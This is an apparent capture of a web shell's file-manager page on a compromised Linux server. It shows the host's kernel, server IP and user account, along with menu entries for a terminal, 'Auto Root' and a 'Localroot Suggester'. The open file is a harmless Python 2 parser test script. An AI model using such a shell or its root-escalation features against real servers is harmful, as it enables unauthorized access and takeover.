Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.217.103
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
python27 /
lib64 /
python2.7 /
Demo /
parser /
Delete
Unzip
Name
Size
Permission
Date
Action
FILES
91
B
-rwxr-xr-x
2025-01-08 14:12
README
1.01
KB
-rwxr-xr-x
2025-01-08 14:12
docstring.py
27
B
-rwxr-xr-x
2025-01-08 14:12
example.py
5.59
KB
-rwxr-xr-x
2025-01-08 14:12
simple.py
29
B
-rwxr-xr-x
2025-01-08 14:12
source.py
741
B
-rwxr-xr-x
2025-01-08 14:12
test_parser.py
1.17
KB
-rwxr-xr-x
2025-01-08 14:12
test_unparse.py
5.44
KB
-rwxr-xr-x
2025-01-08 14:12
unparse.py
16.85
KB
-rwxr-xr-x
2025-01-08 14:12
Save
Rename
#! /opt/alt/python27/bin/python # (Force the script to use the latest build.) # # test_parser.py import parser, traceback _numFailed = 0 def testChunk(t, fileName): global _numFailed print '----', fileName, try: st = parser.suite(t) tup = parser.st2tuple(st) # this discards the first ST; a huge memory savings when running # against a large source file like Tkinter.py. st = None new = parser.tuple2st(tup) except parser.ParserError, err: print print 'parser module raised exception on input file', fileName + ':' traceback.print_exc() _numFailed = _numFailed + 1 else: if tup != parser.st2tuple(new): print print 'parser module failed on input file', fileName _numFailed = _numFailed + 1 else: print 'o.k.' def testFile(fileName): t = open(fileName).read() testChunk(t, fileName) def test(): import sys args = sys.argv[1:] if not args: import glob args = glob.glob("*.py") args.sort() map(testFile, args) sys.exit(_numFailed != 0) if __name__ == '__main__': test()